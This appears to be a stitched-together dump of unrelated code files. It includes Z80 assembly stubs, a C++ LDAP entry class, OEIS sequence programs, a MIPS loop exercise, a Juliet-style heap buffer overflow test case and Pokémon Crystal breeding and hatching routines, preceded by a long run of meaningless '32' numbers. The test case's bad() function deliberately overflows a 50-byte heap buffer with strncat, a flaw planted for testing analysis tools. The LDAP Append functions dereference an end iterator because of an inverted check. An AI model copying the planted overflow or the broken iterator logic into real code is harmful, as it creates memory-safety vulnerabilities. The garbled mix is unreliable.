32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
Name: zel_dsub.asm Type: file Size: 7813 Last-Modified: '2016-05-13T04:20:48Z' SHA-1: 5D94CDC5F95E2010C6987D5FD7868A744455573C Description: null
; CALLER linkage for function pointers SECTION code_clib PUBLIC HeapRealloc PUBLIC _HeapRealloc EXTERN asm_HeapRealloc .HeapRealloc ._HeapRealloc IF __CPU_INTEL__ | __CPU_GBZ80__ ld hl,sp+2 ld c,(hl) inc hl ld b,(hl) inc hl ld e,(hl) inc hl ld d,(hl) inc hl ld a,(hl+) ld h,(hl) ld l,a ex de,hl ELSE pop af pop bc pop hl pop de push de push hl push bc push af ENDIF jp asm_HeapRealloc
/*************************************************************************** * Copyright (C) 2012 by Andrey Afletdinov * * afletdinov@gmail.com * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License for more details. * * * * You should have received a copy of the GNU General Public License * * along with this program; if not, write to the * * Free Software Foundation, Inc., * * 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * ***************************************************************************/ #include <algorithm> #include <iterator> #include "cldap_entry.h" Ldap::Entry::Entry(const std::string &str) : dn(str) { values.reserve(32); } Ldap::Entry::~Entry(void) { } void Ldap::Entry::SetDN(const std::string &str) { dn = str; } const std::string &Ldap::Entry::DN(void) const { return dn; } void Ldap::Entry::Append(int op, const std::string &attr, const std::string &value) { if (attr.size() && value.size()) { auto it = PushBack(attr, op, false); if (it == values.end()) (*it)->Append(value); } } void Ldap::Entry::Append(int op, const std::string &attr, const std::vector<std::string> &vals) { if (attr.size() && vals.size()) { auto it1 = PushBack(attr, op, false); if (it1 == values.end()) for (auto it2 = vals.begin(); it2 != vals.end(); ++it2) (*it1)->Append(*it2); } } void Ldap::Entry::Append(int op, const std::string &attr, const std::list<std::string> &vals) { if (attr.size() && vals.size()) { auto it1 = PushBack(attr, op, false); if (it1 == values.end()) for (auto it2 = vals.begin(); it2 != vals.end(); ++it2) (*it1)->Append(*it2); } } void Ldap::Entry::Append(int op, const std::string &attr, const std::vector<char> &value) { if (attr.size() && value.size()) { auto it = PushBack(attr, op, true); if (it == values.end()) (*it)->Append(value); } } void Ldap::Entry::Append(int op, const std::string &attr, const std::vector<std::vector<char>> &vals) { if (attr.size() && vals.size()) { auto it1 = PushBack(attr, op, true); if (it1 == values.end()) for (auto it2 = vals.begin(); it2 != vals.end(); ++it2) (*it1)->Append(*it2); } } void Ldap::Entry::Append(int op, const std::string &attr, const std::list<std::vector<char>> &vals) { if (attr.size() && vals.size()) { auto it1 = PushBack(attr, op, true); if (it1 == values.end()) for (auto it2 = vals.begin(); it2 != vals.end(); ++it2) (*it1)->Append(*it2); } } Ldap::Entry::const_iterator Ldap::Entry::FindType(const std::string &type) const { for (auto it = values.begin(); it != values.end(); ++it) if ((*it).get() && (*it).get()->IsType(type)) return it; return values.end(); } std::string Ldap::Entry::GetStringValue(const std::string &attr) const { if (attr.size()) { auto it = FindType(attr); if (it != values.end()) return (*it)->GetStringValue(); } return std::string(); } std::vector<std::string> Ldap::Entry::GetStringValues(const std::string &attr) const { std::vector<std::string> res; if (attr.size()) { auto it = FindType(attr); if (it != values.end()) return (*it)->GetStringValues(); } return res; } std::list<std::string> Ldap::Entry::GetStringList(const std::string &attr) const { std::list<std::string> res; if (attr.size()) { auto it = FindType(attr); if (it != values.end()) return (*it)->GetStringList(); } return res; } std::vector<char> Ldap::Entry::GetBinaryValue(const std::string &attr) const { if (attr.size()) { auto it = FindType(attr); if (it != values.end()) return (*it)->GetBinaryValue(); } return std::vector<char>(); } std::vector<std::vector<char>> Ldap::Entry::GetBinaryValues(const std::string &attr) const { std::vector<std::vector<char>> res; if (attr.size()) { auto it = FindType(attr); if (it != values.end()) return (*it)->GetBinaryValues(); } return res; } std::list<std::vector<char>> Ldap::Entry::GetBinaryList(const std::string &attr) const { std::list<std::vector<char>> res; if (attr.size()) { auto it = FindType(attr); if (it != values.end()) return (*it)->GetBinaryList(); } return res; } Ldap::Entry::iterator Ldap::Entry::PushBack(const std::string &type, int op, bool binary) { for (auto it = values.begin(); it != values.end(); ++it) if ((*it).get() && ((*it).get()->IsBinary() == binary) && (*it).get()->IsType(type) && (*it)->IsOperation(op)) return it; if (binary) { values.push_back(std::shared_ptr<ModBase>(new ModBin(op, type))); return values.end() - 1; } else { values.push_back(std::shared_ptr<ModBase>(new ModStr(op, type))); return values.end() - 1; } return values.end(); } std::vector<LDAPMod *> Ldap::Entry::toLDAPMods(void) const { std::vector<LDAPMod *> v; v.reserve(values.size() + 1); for (auto it = values.begin(); it != values.end(); ++it) if ((*it).get()) v.push_back(const_cast<LDAPMod *>((*it).get()->toLDAPMod())); return v; } std::ostream &Ldap::operator<<(std::ostream &os, const Entry &entry) { os << Base64::StringWrap("dn", entry.dn) << std::endl; for (auto it = entry.values.begin(); it != entry.values.end(); ++it) { if ((*it)->IsBinary()) { const ModBin *mod = dynamic_cast<const ModBin *>((*it).get()); if (mod) os << *mod; } else { const ModStr *mod = dynamic_cast<const ModStr *>((*it).get()); if (mod) os << *mod; } } return os; }
; A214283: Smallest Euler characteristic of a downset on an n-dimensional cube. ; 0,-1,-2,-3,-4,-10,-20,-35,-56,-126,-252,-462,-792,-1716,-3432,-6435,-11440,-24310,-48620,-92378,-167960,-352716,-705432,-1352078,-2496144,-5200300,-10400600,-20058300,-37442160,-77558760,-155117520,-300540195,-565722720,-1166803110,-2333606220,-4537567650,-8597496600,-17672631900,-35345263800,-68923264410,-131282408400,-269128937220,-538257874440,-1052049481860,-2012616400080,-4116715363800,-8233430727600,-16123801841550,-30957699535776,-63205303218876,-126410606437752,-247959266474052,-477551179875952,-973469712824056,-1946939425648112,-3824345300380220,-7384942649010080 cal $0,6481 ; Euler characteristics of polytopes. sub $1,$0 add $1,1
q = 10; while ( q ) { a += a * q ; q - -; } // # Mapeamento de registradores // # a -> $t0 e q -> $t1 li $t1, 10 while: ble $t1, DONE mul $t2, $t0, $t1 add $t0, $t0, $t2 addi $t1, $t1, -1 j while DONE:
; void sp1_IterateUpdateSpr(struct sp1_ss *s, void *hook2) SECTION code_clib SECTION code_temp_sp1 PUBLIC _sp1_IterateUpdateSpr, l0_sp1_IterateUpdateSpr EXTERN asm_sp1_IterateUpdateSpr _sp1_IterateUpdateSpr: pop af pop hl pop bc push af l0_sp1_IterateUpdateSpr: push bc ex (sp),ix call asm_sp1_IterateUpdateSpr pop ix ret
; A118589: E.g.f.: A(x) = exp(x + x^2 + x^3). ; Submitted by Christian Krause ; 1,1,3,13,49,261,1531,9073,63393,465769,3566611,29998101,262167313,2394499693,23249961099,233439305401,2439472944961,26649502709073,300078056044963,3498896317045789,42244252226263281,524289088799352661,6707157041780104603,88326410534552529153,1192726471253854680289,16539446238100229302201,235163308762987515792051,3421031132089216066070053,50951923582729624829276113,775880051254181410345570749,12064723456821829987390234411,191602047082997035412535134281,3104320244405116629494872057473 mov $2,1 lpb $0 sub $0,1 mov $1,$4 mul $1,$0 mul $1,3 add $3,$4 mov $4,$2 add $2,$3 mov $3,$1 div $3,2 mul $4,$0 mul $4,2 lpe mov $0,$2
/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE122_Heap_Based_Buffer_Overflow__cpp_dest_char_ncat_31.cpp Label Definition File: CWE122_Heap_Based_Buffer_Overflow__cpp_dest.string.label.xml Template File: sources-sink-31.tmpl.cpp */ /* * @description * CWE: 122 Heap Based Buffer Overflow * BadSource: Allocate using new[] and set data pointer to a small buffer * GoodSource: Allocate using new[] and set data pointer to a large buffer * Sinks: ncat * BadSink : Copy string to data using strncat * Flow Variant: 31 Data flow using a copy of data within the same function * * */ #include "std_testcase.h" #include <wchar.h> namespace CWE122_Heap_Based_Buffer_Overflow__cpp_dest_char_ncat_31 { #ifndef OMITBAD void bad() { char * data; data = NULL; /* FLAW: Allocate using new[] and point data to a small buffer that is smaller than the large buffer used in the sinks */ data = new char[50]; data[0] = '\0'; /* null terminate */ { char * data_copy = data; char * data = data_copy; { char src[100]; memset(src, 'C', 100-1); /* fill with 'C's */ src[100-1] = '\0'; /* null terminate */ /* POTENTIAL FLAW: Possible buffer overflow if src is larger than sizeof(data)-strlen(data) */ strncat(data, src, 100); printLine(data); delete [] data; } } } #endif /* OMITBAD */ #ifndef OMITGOOD /* goodG2B() uses the GoodSource with the BadSink */ static void goodG2B() { char * data; data = NULL; /* FIX: Allocate using new[] and point data to a large buffer that is at least as large as the large buffer used in the sink */ data = new char[100]; data[0] = '\0'; /* null terminate */ { char * data_copy = data; char * data = data_copy; { char src[100]; memset(src, 'C', 100-1); /* fill with 'C's */ src[100-1] = '\0'; /* null terminate */ /* POTENTIAL FLAW: Possible buffer overflow if src is larger than sizeof(data)-strlen(data) */ strncat(data, src, 100); printLine(data); delete [] data; } } } void good() { goodG2B(); } #endif /* OMITGOOD */ } // close namespace /* Below is the main(). It is only used when building this testcase on its own for testing or for building a binary to use in testing binary analysis tools. It is not used when compiling all the testcases as one application, which is how source code analysis tools are tested. */ #ifdef INCLUDEMAIN using namespace CWE122_Heap_Based_Buffer_Overflow__cpp_dest_char_ncat_31; // so that we can use good and bad easily int main(int argc, char * argv[]) { /* seed randomness */ srand( (unsigned)time(NULL) ); #ifndef OMITGOOD printLine("Calling good()..."); good(); printLine("Finished good()"); #endif /* OMITGOOD */ #ifndef OMITBAD printLine("Calling bad()..."); bad(); printLine("Finished bad()"); #endif /* OMITBAD */ return 0; } #endif
; A005592: a(n) = F(2n+1) + F(2n-1) - 1. ; 1,2,6,17,46,122,321,842,2206,5777,15126,39602,103681,271442,710646,1860497,4870846,12752042,33385281,87403802,228826126,599074577,1568397606,4106118242,10749957121,28143753122,73681302246,192900153617,505019158606,1322157322202,3461452808001,9062201101802,23725150497406,62113250390417,162614600673846,425730551631122,1114577054219521,2918000611027442,7639424778862806 mov $1,1 lpb $0,1 sub $0,1 add $2,1 add $1,$2 add $2,$1 lpe
; ; ANSI Video handling for the Sharp X1 ; Karl Von Dyson (for X1s.org) - 24/10/2013 ; Stefano Bodrato 10/2013 ; ; set it up with: ; .text_cols = max columns ; .text_rows = max rows ; ; Display a char in location (ansi_ROW),(ansi_COLUMN) ; A=char to display ; ; ; $Id: f_ansi_char.asm,v 1.4 2015/01/19 01:33:19 pauloscustodio Exp $ ; PUBLIC ansi_CHAR PUBLIC text_cols PUBLIC text_rows PUBLIC ATTR EXTERN ansi_ROW EXTERN ansi_COLUMN .text_cols defb 40 .text_rows defb 25 .ansi_CHAR push af ld hl,$3000 ld a,(ansi_ROW) and a jr z,r_zero ld b,a ld d,l ld a,(text_cols) ld e,a .r_loop add hl,de djnz r_loop .r_zero ld a,(ansi_COLUMN) ld d,0 ld e,a add hl,de pop af .setout ld (hl),a ld b,h ld c,l out(c),a res 4,b .ATTR ;ld a,15 ld a,7 out(c),a ret
; A025697: Index of 3^n within sequence of numbers of form 3^i*6^j. ; 1,2,4,6,9,13,17,22,27,33,40,47,55,63,72,82,92,103,115,127,140,153,167,182,197,213,229,246,264,282,301,321,341,362,383,405,428,451,475,499,524,550,576,603,630,658,687,716,746,777,808,840,872,905,939,973,1008,1043 mov $11,$0 mov $13,$0 add $13,1 lpb $13 clr $0,11 mov $0,$11 sub $13,1 sub $0,$13 add $2,$0 sub $2,1 add $5,12 add $5,$0 mov $9,5 mul $9,$2 mov $3,$9 add $3,7 sub $5,4 div $9,37 add $3,$9 add $3,$5 div $3,10 add $12,$3 lpe mov $1,$12
CheckBreedmonCompatibility: call .CheckBreedingGroupCompatibility ld c, $0 jp nc, .done ld a, [wBreedMon1Species] ld [wCurPartySpecies], a ld a, [wBreedMon1DVs] ld [wTempMonDVs], a ld a, [wBreedMon1DVs + 1] ld [wTempMonDVs + 1], a ld a, TEMPMON ld [wMonType], a predef GetGender jr c, .genderless ld b, $1 jr nz, .breedmon2 inc b .breedmon2 push bc ld a, [wBreedMon2Species] ld [wCurPartySpecies], a ld a, [wBreedMon2DVs] ld [wTempMonDVs], a ld a, [wBreedMon2DVs + 1] ld [wTempMonDVs + 1], a ld a, TEMPMON ld [wMonType], a predef GetGender pop bc jr c, .genderless ld a, $1 jr nz, .compare_gender inc a .compare_gender cp b jr nz, .compute .genderless ld hl, DITTO call GetPokemonIDFromIndex ld b, a ld c, $0 ld a, [wBreedMon1Species] cp b jr z, .ditto1 ld a, [wBreedMon2Species] cp b jr nz, .done jr .compute .ditto1 ld a, [wBreedMon2Species] cp b jr z, .done .compute call .CheckDVs ld c, 255 jp z, .done ld a, [wBreedMon2Species] ld b, a ld a, [wBreedMon1Species] cp b ld c, 254 jr z, .compare_ids ld c, 128 .compare_ids ; Speed up ld a, [wBreedMon1ID] ld b, a ld a, [wBreedMon2ID] cp b jr nz, .done ld a, [wBreedMon1ID + 1] ld b, a ld a, [wBreedMon2ID + 1] cp b jr nz, .done ld a, c sub 77 ld c, a .done ld a, c ld [wBreedingCompatibility], a ret .CheckDVs: ; If Defense DVs match and the lower 3 bits of the Special DVs match, ; avoid breeding ld a, [wBreedMon1DVs] and %1111 ld b, a ld a, [wBreedMon2DVs] and %1111 cp b ret nz ld a, [wBreedMon1DVs + 1] and %111 ld b, a ld a, [wBreedMon2DVs + 1] and %111 cp b ret .CheckBreedingGroupCompatibility: ; If either mon is in the No Eggs group, ; they are not compatible. ld a, [wBreedMon2Species] ld [wCurSpecies], a call GetBaseData ld a, [wBaseEggGroups] cp EGG_NONE * $11 jr z, .Incompatible ld a, [wBreedMon1Species] ld [wCurSpecies], a call GetBaseData ld a, [wBaseEggGroups] cp EGG_NONE * $11 jr z, .Incompatible ; Ditto is automatically compatible with everything. ; If not Ditto, load the breeding groups into b/c and d/e. ld hl, DITTO call GetPokemonIDFromIndex ld d, a ld a, [wBreedMon2Species] cp d jr z, .Compatible ld [wCurSpecies], a call GetBaseData ld a, [wBaseEggGroups] push af and $f ld b, a pop af and $f0 swap a ld c, a ld a, [wBreedMon1Species] cp d jr z, .Compatible ld [wCurSpecies], a push bc call GetBaseData pop bc ld a, [wBaseEggGroups] push af and $f ld d, a pop af and $f0 swap a ld e, a ld a, d cp b jr z, .Compatible cp c jr z, .Compatible ld a, e cp b jr z, .Compatible cp c jr z, .Compatible .Incompatible: and a ret .Compatible: scf ret DoEggStep:: ld de, wPartySpecies ld hl, wPartyMon1Happiness ld c, 0 .loop ld a, [de] inc de cp -1 ret z cp EGG jr nz, .next dec [hl] jr nz, .next ld a, 1 and a ret .next push de ld de, PARTYMON_STRUCT_LENGTH add hl, de pop de jr .loop OverworldHatchEgg:: call RefreshScreen call LoadStandardMenuHeader call HatchEggs call ExitAllMenus call RestartMapMusic jp CloseText HatchEggs: ld de, wPartySpecies ld hl, wPartyMon1Happiness xor a ld [wCurPartyMon], a .loop ld a, [de] inc de cp -1 jp z, .done push de push hl cp EGG jp nz, .next ld a, [hl] and a jp nz, .next ld [hl], $78 push de farcall SetEggMonCaughtData farcall StubbedTrainerRankings_EggsHatched ld a, [wCurPartyMon] ld hl, wPartyMon1Species ld bc, PARTYMON_STRUCT_LENGTH call AddNTimes ld a, [hl] ld [wCurPartySpecies], a call SetSeenAndCaughtMon ld a, [wCurPartySpecies] call GetPokemonIndexFromID ld a, l sub LOW(TOGEPI) if HIGH(TOGEPI) == 0 or h else jr nz, .nottogepi if HIGH(TOGEPI) == 1 dec h else ld a, h cp HIGH(TOGEPI) endc endc jr nz, .nottogepi ; set the event flag for hatching togepi ld de, EVENT_TOGEPI_HATCHED ld b, SET_FLAG call EventFlagAction .nottogepi pop de ld a, [wCurPartySpecies] dec de ld [de], a ld [wNamedObjectIndexBuffer], a ld [wCurSpecies], a call GetPokemonName xor a ld [wUnusedEggHatchFlag], a call GetBaseData ld a, [wCurPartyMon] ld hl, wPartyMon1 ld bc, PARTYMON_STRUCT_LENGTH call AddNTimes push hl ld bc, MON_MAXHP add hl, bc ld d, h ld e, l pop hl push hl ld bc, MON_LEVEL add hl, bc ld a, [hl] ld [wCurPartyLevel], a pop hl push hl ld bc, MON_STATUS add hl, bc xor a ld [hli], a ld [hl], a pop hl push hl ld bc, MON_STAT_EXP - 1 add hl, bc ld b, FALSE predef CalcMonStats pop bc ld hl, MON_MAXHP add hl, bc ld d, h ld e, l ld hl, MON_HP add hl, bc ld a, [de] inc de ld [hli], a ld a, [de] ld [hl], a ld hl, MON_ID add hl, bc ld a, [wPlayerID] ld [hli], a ld a, [wPlayerID + 1] ld [hl], a ld a, [wCurPartyMon] ld hl, wPartyMonOT ld bc, NAME_LENGTH call AddNTimes ld d, h ld e, l ld hl, wPlayerName call CopyBytes ld hl, .Text_HatchEgg call PrintText ld a, [wCurPartyMon] ld hl, wPartyMonNicknames ld bc, MON_NAME_LENGTH call AddNTimes ld d, h ld e, l push de ld hl, .Text_NicknameHatchling call PrintText call YesNoBox pop de jr c, .nonickname ld a, TRUE ld [wUnusedEggHatchFlag], a xor a ld [wMonType], a push de ld b, NAME_MON farcall NamingScreen pop hl ld de, wStringBuffer1 call InitName jr .next .nonickname ld hl, wStringBuffer1 ld bc, MON_NAME_LENGTH call CopyBytes .next ld hl, wCurPartyMon inc [hl] pop hl ld de, PARTYMON_STRUCT_LENGTH add hl, de pop de jp .loop .done ret .Text_HatchEgg: ; Huh? @ @ text_far UnknownText_0x1c0db0 text_asm ld hl, wVramState res 0, [hl] push hl push de push bc ld a, [wCurPartySpecies] push af call EggHatch_AnimationSequence ld hl, .ClearTextbox call PrintText pop af ld [wCurPartySpecies], a pop bc pop de pop hl ld hl, .CameOutOfItsEgg ret .ClearTextbox: ; text_far UnknownText_0x1c0db8 text_end .CameOutOfItsEgg: ; came out of its EGG!@ @ text_far UnknownText_0x1c0dba text_end .Text_NicknameHatchling: ; Give a nickname to @ ? text_far UnknownText_0x1c0dd8 text_end InitEggMoves: call GetHeritableMoves ld d, h ld e, l ld b, NUM_MOVES .loop ld a, [de] and a jr z, .done ld hl, wEggMonMoves ld c, NUM_MOVES .next ld a, [de] cp [hl] jr z, .skip inc hl dec c jr nz, .next call GetEggMove jr nc, .skip call LoadEggMove .skip inc de dec b jr nz, .loop .done ret GetEggMove: push bc ld a, [wEggMonSpecies] call GetPokemonIndexFromID ld b, h ld c, l ld hl, EggMovePointers ld a, BANK(EggMovePointers) call LoadDoubleIndirectPointer .loop call GetFarByte cp -1 jr z, .reached_end ld c, a ld a, [de] cp c jr z, .done_carry inc hl ld a, b jr .loop .reached_end call GetBreedmonMovePointer ld b, NUM_MOVES .loop2 ld a, [de] cp [hl] jr z, .found_eggmove inc hl dec b jr z, .inherit_tmhm jr .loop2 .found_eggmove ld a, [wEggMonSpecies] call GetPokemonIndexFromID ld b, h ld c, l ld hl, EvosAttacksPointers ld a, BANK(EvosAttacksPointers) call LoadDoubleIndirectPointer call FarSkipEvolutions .loop4 ld a, b call GetFarByte and a jr z, .inherit_tmhm inc hl ld a, b call GetFarByte ld c, a ld a, [de] cp c jr z, .done_carry inc hl jr .loop4 .inherit_tmhm ld hl, TMHMMoves .loop5 ld a, BANK(TMHMMoves) call GetFarByte inc hl and a jr z, .done ld b, a ld a, [de] cp b jr nz, .loop5 ld [wPutativeTMHMMove], a predef CanLearnTMHMMove ld a, c and a jr z, .done .done_carry pop bc scf ret .done pop bc and a ret LoadEggMove: push de push bc ld a, [de] ld b, a ld hl, wEggMonMoves ld c, NUM_MOVES .loop ld a, [hli] and a jr z, .done dec c jr nz, .loop ld de, wEggMonMoves ld hl, wEggMonMoves + 1 ld a, [hli] ld [de], a inc de ld a, [hli] ld [de], a inc de ld a, [hli] ld [de], a .done dec hl ld [hl], b ld hl, wEggMonMoves ld de, wEggMonPP predef FillPP pop bc pop de ret GetHeritableMoves: ld hl, DITTO call GetPokemonIDFromIndex ld b, a ld hl, wBreedMon2Moves ld a, [wBreedMon1Species] cp b jr z, .ditto1 ld a, [wBreedMon2Species] cp b jr z, .ditto2 ld a, [wBreedMotherOrNonDitto] and a ret z ld hl, wBreedMon1Moves ret .ditto1 ld a, [wCurPartySpecies] push af ld a, [wBreedMon2Species] ld [wCurPartySpecies], a ld a, [wBreedMon2DVs] ld [wTempMonDVs], a ld a, [wBreedMon2DVs + 1] ld [wTempMonDVs + 1], a ld a, TEMPMON ld [wMonType], a predef GetGender jr c, .inherit_mon2_moves jr nz, .inherit_mon2_moves jr .inherit_mon1_moves .ditto2 ld a, [wCurPartySpecies] push af ld a, [wBreedMon1Species] ld [wCurPartySpecies], a ld a, [wBreedMon1DVs] ld [wTempMonDVs], a ld a, [wBreedMon1DVs + 1] ld [wTempMonDVs + 1], a ld a, TEMPMON ld [wMonType], a predef GetGender jr c, .inherit_mon1_moves jr nz, .inherit_mon1_moves .inherit_mon2_moves ld hl, wBreedMon2Moves pop af ld [wCurPartySpecies], a ret .inherit_mon1_moves ld hl, wBreedMon1Moves pop af ld [wCurPartySpecies], a ret GetBreedmonMovePointer: ld hl, DITTO call GetPokemonIDFromIndex ld b, a ld hl, wBreedMon1Moves ld a, [wBreedMon1Species] cp b ret z ld a, [wBreedMon2Species] cp b jr z, .ditto ld a, [wBreedMotherOrNonDitto] and a ret z .ditto ld hl, wBreedMon2Moves ret GetEggFrontpic: push de ld [wCurPartySpecies], a ld [wCurSpecies], a call GetBaseData ld hl, wBattleMonDVs predef GetUnownLetter pop de predef_jump GetMonFrontpic GetHatchlingFrontpic: push de ld [wCurPartySpecies], a ld [wCurSpecies], a call GetBaseData ld hl, wBattleMonDVs predef GetUnownLetter pop de predef_jump GetAnimatedFrontpic Hatch_UpdateFrontpicBGMapCenter: push af call WaitTop push hl push bc hlcoord 0, 0 ld bc, SCREEN_HEIGHT * SCREEN_WIDTH ld a, " " call ByteFill pop bc pop hl ld a, b ldh [hBGMapAddress + 1], a ld a, c ldh [hGraphicStartTile], a lb bc, 7, 7 predef PlaceGraphic pop af call Hatch_LoadFrontpicPal call SetPalettes jp WaitBGMap EggHatch_DoAnimFrame: push hl push de push bc callfar PlaySpriteAnimations call DelayFrame pop bc pop de pop hl ret EggHatch_AnimationSequence: ld a, [wNamedObjectIndexBuffer] ld [wJumptableIndex], a ld a, [wCurSpecies] push af ld de, MUSIC_NONE call PlayMusic farcall BlankScreen call DisableLCD ld hl, EggHatchGFX ld de, vTiles0 tile $00 ld bc, 2 tiles ld a, BANK(EggHatchGFX) call FarCopyBytes farcall ClearSpriteAnims ld de, vTiles2 tile $00 ld a, [wJumptableIndex] call GetHatchlingFrontpic ld de, vTiles2 tile $31 ld a, EGG call GetEggFrontpic ld de, MUSIC_EVOLUTION call PlayMusic call EnableLCD hlcoord 7, 4 ld b, HIGH(vBGMap0) ld c, $31 ; Egg tiles start here ld a, EGG call Hatch_UpdateFrontpicBGMapCenter ld c, 80 call DelayFrames xor a ld [wFrameCounter], a ldh a, [hSCX] ld b, a .outerloop ld hl, wFrameCounter ld a, [hl] inc [hl] cp 8 jr nc, .done ld e, [hl] .loop ; wobble e times ld a, 2 ldh [hSCX], a ld a, -2 ld [wGlobalAnimXOffset], a call EggHatch_DoAnimFrame ld c, 2 call DelayFrames ld a, -2 ldh [hSCX], a ld a, 2 ld [wGlobalAnimXOffset], a call EggHatch_DoAnimFrame ld c, 2 call DelayFrames dec e jr nz, .loop ld c, 16 call DelayFrames call EggHatch_CrackShell jr .outerloop .done ld de, SFX_EGG_HATCH call PlaySFX xor a ldh [hSCX], a ld [wGlobalAnimXOffset], a call ClearSprites call Hatch_InitShellFragments hlcoord 6, 3 ld b, HIGH(vBGMap0) ld c, $00 ; Hatchling tiles start here ld a, [wJumptableIndex] call Hatch_UpdateFrontpicBGMapCenter call Hatch_ShellFragmentLoop call WaitSFX ld a, [wJumptableIndex] ld [wCurPartySpecies], a hlcoord 6, 3 ld d, $0 ld e, ANIM_MON_HATCH predef AnimateFrontpic pop af ld [wCurSpecies], a ret Hatch_LoadFrontpicPal: ld [wPlayerHPPal], a ld b, SCGB_EVOLUTION ld c, $0 jp GetSGBLayout EggHatch_CrackShell: ld a, [wFrameCounter] dec a and $7 cp $7 ret z srl a ret nc swap a srl a add 9 * 8 + 4 ld d, a ld e, 11 * 8 ld a, SPRITE_ANIM_INDEX_EGG_CRACK call _InitSpriteAnimStruct ld hl, SPRITEANIMSTRUCT_TILE_ID add hl, bc ld [hl], $0 ld de, SFX_EGG_CRACK jp PlaySFX EggHatchGFX: INCBIN "gfx/evo/egg_hatch.2bpp" Hatch_InitShellFragments: farcall ClearSpriteAnims ld hl, .SpriteData .loop ld a, [hli] cp -1 jr z, .done ld e, a ld a, [hli] ld d, a ld a, [hli] ld c, a ld a, [hli] ld b, a push hl push bc ld a, SPRITE_ANIM_INDEX_EGG_HATCH call _InitSpriteAnimStruct ld hl, SPRITEANIMSTRUCT_TILE_ID add hl, bc ld [hl], $0 pop de ld a, e ld hl, SPRITEANIMSTRUCT_FRAMESET_ID add hl, bc add [hl] ld [hl], a ld hl, SPRITEANIMSTRUCT_JUMPTABLE_INDEX add hl, bc ld [hl], d pop hl jr .loop .done ld de, SFX_EGG_HATCH call PlaySFX call EggHatch_DoAnimFrame ret shell_fragment: MACRO ; y tile, y pxl, x tile, x pxl, frameset offset, ??? db (\1 * 8) % $100 + \2, (\3 * 8) % $100 + \4, \5 - SPRITE_ANIM_FRAMESET_EGG_HATCH_1, \6 ENDM .SpriteData: shell_fragment 10, 4, 9, 0, SPRITE_ANIM_FRAMESET_EGG_HATCH_1, $3c shell_fragment 11, 4, 9, 0, SPRITE_ANIM_FRAMESET_EGG_HATCH_2, $04 shell_fragment 10, 4, 10, 0, SPRITE_ANIM_FRAMESET_EGG_HATCH_1, $30 shell_fragment 11, 4, 10, 0, SPRITE_ANIM_FRAMESET_EGG_HATCH_2, $10 shell_fragment 10, 4, 11, 0, SPRITE_ANIM_FRAMESET_EGG_HATCH_3, $24 shell_fragment 11, 4, 11, 0, SPRITE_ANIM_FRAMESET_EGG_HATCH_4, $1c shell_fragment 10, 0, 9, 4, SPRITE_ANIM_FRAMESET_EGG_HATCH_1, $36 shell_fragment 12, 0, 9, 4, SPRITE_ANIM_FRAMESET_EGG_HATCH_2, $0a shell_fragment 10, 0, 10, 4, SPRITE_ANIM_FRAMESET_EGG_HATCH_3, $2a shell_fragment 12, 0, 10, 4, SPRITE_ANIM_FRAMESET_EGG_HATCH_4, $16 db -1 Hatch_ShellFragmentLoop: ld c, 129 .loop call EggHatch_DoAnimFrame dec c jr nz, .loop ret DayCareMon1: ld hl, DayCareMon1Text call PrintText ld a, [wBreedMon1Species] call PlayMonCry ld a, [wDayCareLady] bit DAYCARELADY_HAS_MON_F, a jr z, DayCareMonCursor call ButtonSound ld hl, wBreedMon2Nick call DayCareMonCompatibilityText jp PrintText 